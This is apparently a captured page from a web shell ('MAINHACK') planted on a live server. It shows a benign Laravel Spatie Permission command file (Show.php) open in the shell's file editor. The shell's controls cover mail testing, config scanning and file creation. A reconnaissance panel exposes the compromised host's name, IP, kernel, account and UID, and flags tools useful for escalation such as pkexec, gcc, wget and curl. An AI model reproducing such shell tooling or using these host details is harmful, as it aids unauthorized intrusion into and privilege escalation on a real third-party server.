[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Show.php
<?php namespace Spatie\Permission\Commands; use Illuminate\Console\Command; use Illuminate\Support\Collection; use Spatie\Permission\Contracts\Permission as PermissionContract; use Spatie\Permission\Contracts\Role as RoleContract; use Symfony\Component\Console\Helper\TableCell; class Show extends Command { protected $signature = 'permission:show {guard? : The name of the guard} {style? : The display style (default|borderless|compact|box)}'; protected $description = 'Show a table of roles and permissions per guard'; public function handle() { $permissionClass = app(PermissionContract::class); $roleClass = app(RoleContract::class); $teamsEnabled = config('permission.teams'); $team_key = config('permission.column_names.team_foreign_key'); $style = $this->argument('style') ?? 'default'; $guard = $this->argument('guard'); if ($guard) { $guards = Collection::make([$guard]); } else { $guards = $permissionClass::pluck('guard_name')->merge($roleClass::pluck('guard_name'))->unique(); } foreach ($guards as $guard) { $this->info("Guard: $guard"); $roles = $roleClass::whereGuardName($guard) ->with('permissions') ->when($teamsEnabled, fn ($q) => $q->orderBy($team_key)) ->orderBy('name')->get()->mapWithKeys(fn ($role) => [ $role->name.'_'.($teamsEnabled ? ($role->$team_key ?: '') : '') => [ 'permissions' => $role->permissions->pluck($permissionClass->getKeyName()), $team_key => $teamsEnabled ? $role->$team_key : null, ], ]); $permissions = $permissionClass::whereGuardName($guard)->orderBy('name')->pluck('name', $permissionClass->getKeyName()); $body = $permissions->map(fn ($permission, $id) => $roles->map( fn (array $role_data) => $role_data['permissions']->contains($id) ? ' ✔' : ' ·' )->prepend($permission) ); if ($teamsEnabled) { $teams = $roles->groupBy($team_key)->values()->map( fn ($group, $id) => new TableCell('Team ID: '.($id ?: 'NULL'), ['colspan' => $group->count()]) ); } $this->table( array_merge( isset($teams) ? $teams->prepend(new TableCell(''))->toArray() : [], $roles->keys()->map(function ($val) { $name = explode('_', $val); array_pop($name); return implode('_', $name); }) ->prepend(new TableCell(''))->toArray(), ), $body->toArray(), $style ); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002